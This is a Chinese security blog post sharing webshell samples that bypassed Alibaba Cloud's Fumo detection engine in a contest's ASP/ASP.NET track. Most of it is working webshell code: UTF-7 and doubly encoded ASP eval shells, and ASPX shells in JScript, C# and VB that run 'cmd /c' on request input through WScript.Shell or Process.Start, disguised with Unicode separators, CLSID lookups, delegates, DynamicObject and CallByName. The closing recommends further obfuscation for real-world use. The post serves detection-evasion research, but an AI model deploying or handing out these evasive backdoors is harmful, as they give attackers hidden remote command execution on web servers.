伏魔挑战赛-ASP/ASP.NET赛道10+绕过样本思路分享

前言

24年年底的时候参加了一下阿里云的第四届伏魔挑战赛,本着学习一下.NET的想法玩的ASP/ASP.NET赛道。但是当时一直没空,等到活动最后一天才抽出时间测试。一个晚上提交了15个绕过样本,重复了12个太惨了这就是最后一天提交的结果,后来看榜单应该都是重复的Ivan1ee师傅的,专门研究.NET的还是强。第三届我也玩了提交17个样本重复5个通过12个,这篇文章挑部分绕过样本进行思路分析。

ASP

asp样本分享下面两个,绕过思路为前导零、双重编码。

前导零

asp支持将代码utf-7编码,于是构造出下面shell样本进行测试。

复制代码
<%@codepage=65000%>
<%
+AGUAdgBhAGwAKAByAGUAcQB1AGUAcwB0ACgAIgBrAGkAbABsAGUAcgAiACkAKQ-
%>

可能因为是很久以前的公开手法直接被杀,注意到codepage=65000推测这里65000可能采用数字类型进行解析,在某些语言里有一种技巧在解析数字时会丢弃前导零。比如065000会被解析为65000。于是将codepage写为065000发现也可以成功解析,多次尝试以后发现最多写成0000065000可以识别成功。猜测原因是Long类型最长为十位数字,在解析之前对大于十位的数字直接报错或者不解析。于是提交如下样本成功绕过伏魔引擎。

复制代码
<%@codepage=0000065000%>
<%
+AGUAdgBhAGwAKAByAGUAcQB1AGUAcwB0ACgAIgBrAGkAbABsAGUAcgAiACkAKQ-
%>

双重编码

asp支持将代码VBScript.Encode编码。

复制代码
<%@ LANGUAGE = "VBScript.Encode"%>
<%
#@~^LwAAAA==]A/2KxU+R1W93wmon'+*TT8)27CVvD+$;n/D`r3rVsnMJb#wg8AAA==^#~@
%>

直接提交依然被杀。注意到VBScript.Encodeutf-7编码不是同一个配置项,于是想到能不能使用双重编码绕过,测试以后发现可以也能够被正确解析。绕过样本如下先使用VBScript.Encode编码内容再使用utf-7编码即可。

复制代码
<%@ LANGUAGE = "VBScript.Encode" codepage=65000%>
<%
+ACM-+AEA-+AH4-+AF4-LwAAAA+AD0-+AD0-+AF0-A/2KxU+-R1W93wmon'+-+ACo-TT8)27CVvD+-+ACQ-+ADs-n/D+AGA-r3rVsnMJb+ACM-wg8AAA+AD0-+AD0-+AF4-+ACM-+AH4-+AEA-
%>

ASP.NET

aspx的样本第三届的时候比较容易绕过,有很多污点源都没打标这类就不写了。主要写两类特殊语法、危险方法替换。

特殊语法

以前看别人绕jsp学到的使用注释//\u000a换行进行来绕过

复制代码
<%@ Page Language="Jscript"%>
<%
    var p = eval("//\u000a\u0052\u0065\u0071\u0075\u0065\u0073\u0074\u002E\u0049\u0074\u0065\u006D[\"g\"]")
    eval(p,"unsafe");
%>

测试发现可以解析但是伏魔引擎检测为webshell查阅资料发现使用\u2029段落分隔符也可以起到换行的作用。测试可以解析并绕过。

复制代码
<%@ Page Language="Jscript"%>
<%
    var p = eval("//\u2029\u0052\u0065\u0071\u0075\u0065\u0073\u0074\u002E\u0049\u0074\u0065\u006D[\"g\"]")
    eval(p,"unsafe");
%>

aspx支持下面这种语法,将多个<%...%>之间的代码相加。

复制代码
<%@ Page Language="Jscript"%>
<%
    var p = eval(""%><%+"\u0052\u0065\u0071\u0075\u0065\u0073\u0074\u002E\u0049\u0074\u0065\u006D[\"g\"]")
    eval(p,"unsafe");
%>

测试发现无法绕过,在%><%添加换行成功绕过。

复制代码
<%@ Page Language="Jscript"%>
<%
    var p = eval(""%>
<%+"\u0052\u0065\u0071\u0075\u0065\u0073\u0074\u002E\u0049\u0074\u0065\u006D[\"g\"]")
    eval(p,"unsafe");
%>

global::C#中的全局命名空间别名,它允许你明确地引用全局命名空间中的类型,避免命名冲突。所以可以写出下面的绕过样本。

复制代码
<%@ Page Language="c#"%>
<%
global::System.Diagnostics.ProcessStartInfo psi = new global::System.Diagnostics.ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c " + Request.Params.Get("g");
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
global::System.Diagnostics.Process p = global::System.Diagnostics.Process.Start(psi);
System.IO.StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
Response.Write(s);
%>

危险方法替换

我们先写出一个经典的aspx调用WScript.Shell执行命令的webshell来进行变换。

复制代码
<%@ Page Language="Jscript"%>
<%
var c=System.Web.HttpContext.Current;
var Request=c.Request;
var Response=c.Response;
var command = Request.Item['g'];
var r = new ActiveXObject("WScript.Shell").Exec("cmd /c "+command);
var OutStream = r.StdOut;
var Str = "";
while (!OutStream.atEndOfStream) {
    Str = Str + OutStream.readAll();
    }
Response.Write("<pre>"+Str+"</pre>");
%>

这个样本毫无疑问被杀,经过FUZZ发现关键点在于ActiveXObjectWScript.Shell不能同时出现。于是写出5种不同的绕过方式。

使用unescape("%57%53%63%72%69%70%74%2e%53%68%65%6c%6c")代替WScript.Shell

复制代码
<%@ Page Language="Jscript"%>
<%
var c=System.Web.HttpContext.Current;
var Request=c.Request;
var Response=c.Response;
var command = Request.Item['g'];
var r = new ActiveXObject(unescape("%57%53%63%72%69%70%74%2e%53%68%65%6c%6c")).Exec("cmd /c "+command);
var OutStream = r.StdOut;
var Str = "";
while (!OutStream.atEndOfStream) {
    Str = Str + OutStream.readAll();
    }
Response.Write("<pre>"+Str+"</pre>");
%>

Jscript中使用GetObject创建WScript.Shell对象

复制代码
<%@ Page Language="Jscript"%>
<%
var c=System.Web.HttpContext.Current;
var Request=c.Request;
var Response=c.Response;
var command = Request.Item['g'];
var r = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8").Exec("cmd /c "+command);
var OutStream = r.StdOut;
var Str = "";
while (!OutStream.atEndOfStream) {

    Str = Str + OutStream.readAll();

    }
Response.Write("<pre>"+Str+"</pre>");
%>

C#中使用GetTypeFromCLSID来创建WScript.Shell对象

复制代码
<%@ Page Language="C#" %>
<%
string command = Request.QueryString["cmd"];
if (!string.IsNullOrEmpty(command))
{
    try
    {
        // 使用 System.Type.GetTypeFromCLSID 来创建 WScript.Shell 对象
        Type shellType = Type.GetTypeFromCLSID(new Guid("72C24DD5-D70A-438B-8A42-98424B88AFB8"));
        dynamic shell = Activator.CreateInstance(shellType);
        dynamic exec = shell.Exec("cmd.exe /c " + command);
        dynamic stdout = exec.StdOut;
        string output = "";
        while (!stdout.AtEndOfStream)
        {
            output += stdout.ReadLine() + "\n";
        }
        Response.Write(output);
    }
    catch (Exception ex)
    {
        Response.Write($"Error: {Server.HtmlEncode(ex.Message)}");
    }
}
else
{
    Response.Write("No command");
}
%>

C#中使用GetTypeFromProgID来创建WScript.Shell对象

复制代码
<%@ Page Language="C#" %>
<%
string command = Request.QueryString["cmd"];
if (!string.IsNullOrEmpty(command))
{
    try
    {
        // 使用 GetTypeFromProgID 创建 WScript.Shell 对象
        Type shellType = Type.GetTypeFromProgID("WScript.Shell");
        dynamic shell = Activator.CreateInstance(shellType);
        dynamic exec = shell.Exec("cmd.exe /c " + command);
        dynamic stdout = exec.StdOut;
        string output = "";
        while (!stdout.AtEndOfStream)
        {
            output += stdout.ReadLine() + "\n";
        }
        
        Response.Write(output);
    }
    catch (Exception ex)
    {
        Response.Write($"Error: {Server.HtmlEncode(ex.Message)}");
    }
}
else
{
    Response.Write("No command");
}
%>

VB中使用CreateObject来创建WScript.Shell对象

复制代码
<%@ Page Language="VB" %>
<%
Dim command As String = Request.QueryString("cmd")
If Not String.IsNullOrEmpty(command) Then
    Try
        ' 使用CreateObject创建 WScript.Shell 对象
        Dim shell As Object = CreateObject("WScript.Shell")
        Dim exec As Object = shell.Exec("cmd.exe /c " & command)
        Dim stdout As Object = exec.StdOut
        Dim output As String = ""
        While Not stdout.AtEndOfStream
            output &= stdout.ReadLine() & vbCrLf
        End While
        Response.Write(output)
    Catch ex As Exception
        Response.Write("Error: " & ex.Message)
    End Try
Else
    Response.Write("No command")
End If
%>

我们再写出一个使用System.Diagnostics.Process.Start来执行命令的经典样本。

复制代码
<%@ Page Language="c#"%>
<%
System.Diagnostics.ProcessStartInfo psi = new System.Diagnostics.ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c " + Request.Params.Get("g");
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
System.Diagnostics.Process p = System.Diagnostics.Process.Start(psi);
System.IO.StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
Response.Write(s);
%>

进过测试发现主要就是对调用System.Diagnostics.Process.Start方法进行了检测,传统思路就是通过反射来获取Start方法然后执行。进过测试对反射检测较为严格,于是转为寻找可以实现类似反射效果的方法。找到4种类似方法可以绕过。

JScript中使用Function.apply动态调用Start方法

复制代码
<%@ Page Language="JScript" %>
<%
var userCommand = Request.Params["g"];
if (userCommand != null && userCommand != "") {
    try {
        var psi = new System.Diagnostics.ProcessStartInfo();
        psi.FileName = "cmd.exe";
        psi.Arguments = "/c " + userCommand;
        psi.RedirectStandardOutput = true;
        psi.UseShellExecute = false;
        var process = new System.Diagnostics.Process();
        process.StartInfo = psi;
        // 使用 Function.apply 动态调用 Start 方法
        process.Start.apply(process, []);
        var output = process.StandardOutput.ReadToEnd();
        process.WaitForExit();
        Response.Write(Server.HtmlEncode(output));
    } catch (ex) {
        Response.Write("Error: " + Server.HtmlEncode(ex.Message));
    }
} else {
    Response.Write("No command");
}
%>

VB中委托绑定Start方法

复制代码
<%@ Page Language="VB" %>
<%
Dim userCommand As String = Request.Params.Get("g")
If Not String.IsNullOrEmpty(userCommand) Then
    Try
        Dim psi As New System.Diagnostics.ProcessStartInfo()
        psi.FileName = "cmd.exe"
        psi.Arguments = "/c " & userCommand
        psi.RedirectStandardOutput = True
        psi.UseShellExecute = False
        Dim process As New System.Diagnostics.Process()
        process.StartInfo = psi
        ' 使用委托绑定 Process.Start 方法
        Dim startMethod As StartDelegate = AddressOf process.Start
        startMethod.Invoke()
        Dim output As String = process.StandardOutput.ReadToEnd()
        process.WaitForExit()
        Response.Write(Server.HtmlEncode(output))
    Catch ex As Exception
        Response.Write("Error: " & Server.HtmlEncode(ex.Message))
    End Try
Else
    Response.Write("No command")
End If
%>
<script runat="server">
Public Delegate Function StartDelegate() As Boolean
</script>

VB中使用DynamicObject动态调用Start方法

复制代码
<%@ Page Language="VB" %>
<%@ Import Namespace="System.Dynamic" %>
<%
Dim userCommand As String = Request.Params.Get("g")
If Not String.IsNullOrEmpty(userCommand) Then
    Try
        Dim psi As New System.Diagnostics.ProcessStartInfo()
        psi.FileName = "cmd.exe"
        psi.Arguments = "/c " & userCommand
        psi.RedirectStandardOutput = True
        psi.UseShellExecute = False
        Dim process As New System.Diagnostics.Process()
        process.StartInfo = psi
        ' 使用 DynamicProcess 动态调用 Start 方法
        Dim dynamicProcess As Object = New DynamicProcess(process)
        dynamicProcess.Start()
        Dim output As String = process.StandardOutput.ReadToEnd()
        process.WaitForExit()
        Response.Write(Server.HtmlEncode(output))
    Catch ex As Exception
        Response.Write("Error: " & Server.HtmlEncode(ex.Message))
    End Try
Else
    Response.Write("No command")
End If
%>
<script runat="server">
Public Class DynamicProcess
    Inherits DynamicObject
    Private ReadOnly _process As System.Diagnostics.Process
    Public Sub New(process As System.Diagnostics.Process)
        _process = process
    End Sub
    Public Overrides Function TryInvokeMember(binder As InvokeMemberBinder, args() As Object, ByRef result As Object) As Boolean
        If binder.Name = "Start" Then
            result = _process.Start()
            Return True
        End If
        Return MyBase.TryInvokeMember(binder, args, result)
    End Function
End Class
</script>

VB中使用CallByName动态调用Start方法

复制代码
<%@ Page Language="VB" %>
<%
Dim userCommand As String = Request.Params.Get("g")
If Not String.IsNullOrEmpty(userCommand) Then
    Try
        Dim psi As New System.Diagnostics.ProcessStartInfo()
        psi.FileName = "cmd.exe"
        psi.Arguments = "/c " & userCommand
        psi.RedirectStandardOutput = True
        psi.UseShellExecute = False
        Dim process As New System.Diagnostics.Process()
        process.StartInfo = psi
        ' 使用 CallByName 动态调用 Process.Start
        CallByName(process, "Start", CallType.Method)
        Dim output As String = process.StandardOutput.ReadToEnd()
        process.WaitForExit()
        Response.Write(Server.HtmlEncode(output))
    Catch ex As Exception
        Response.Write("Error: " & Server.HtmlEncode(ex.Message))
    End Try
Else
    Response.Write("No command")
End If
%>

总结

相对于jsp/php样本而言asp/asp.net样本的绕过还是相对比较简单,本文仅对提交的部分样本进行分析,主要绕过技术总结如下。

  1. 编码混淆:多层编码增加检测复杂度
  2. 语法变形:利用语言特性实现功能等价替换
  3. 反射替代:通过委托、动态调用等方式避开反射检测
  4. 跨语言技巧:在 C#、VB、JScript 间灵活运用不同特性

asp.net支持多种语言如VB/C#/JScript这也变相增加了webshell的查杀难度。因为仅仅是测试引擎的绕过,实战中还需使用上述手法结合Unicode编码、特殊Unicode字符、命名空间别名、反射、注释等手段进行webshell混淆以达到最佳效果。

如需上述样本进行测试研究可关注本公众号漫漫安全路,回复aspx得到下载地址。


本文仅供安全研究和学习使用,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用本人负责,公众号及文章作者不为此承担任何责任。

相关推荐
will_we42 分钟前
Tauri 2 安卓开发初体验
后端
jhfuture43 分钟前
从源码分析,为什么要使用TTL(TransmittableThreadLocal)而不是inheritableThreadLocals
后端·面试
Code季风3 小时前
深入理解 Gin 框架的路由机制:从基础使用到核心原理
ide·后端·macos·go·web·xcode·gin
Vallelonga4 小时前
关于 Rust 异步(无栈协程)的相关疑问
开发语言·后端·rust
Barcke4 小时前
缓存界的 "双保险":打工人救星来了!(本地缓存 + Redis 双剑合璧,轻松应对高并发)
java·后端
子洋5 小时前
现代化 ls 命令替代工具:EZA
前端·后端·shell
Victor3566 小时前
MySQL(190)如何优化MySQL的网络传输?
后端
Victor3566 小时前
MySQL(189)如何分析MySQL的锁等待问题?
后端
Warren987 小时前
使用 Spring Boot 集成七牛云实现图片/文件上传
java·前端·javascript·vue.js·spring boot·后端·ecmascript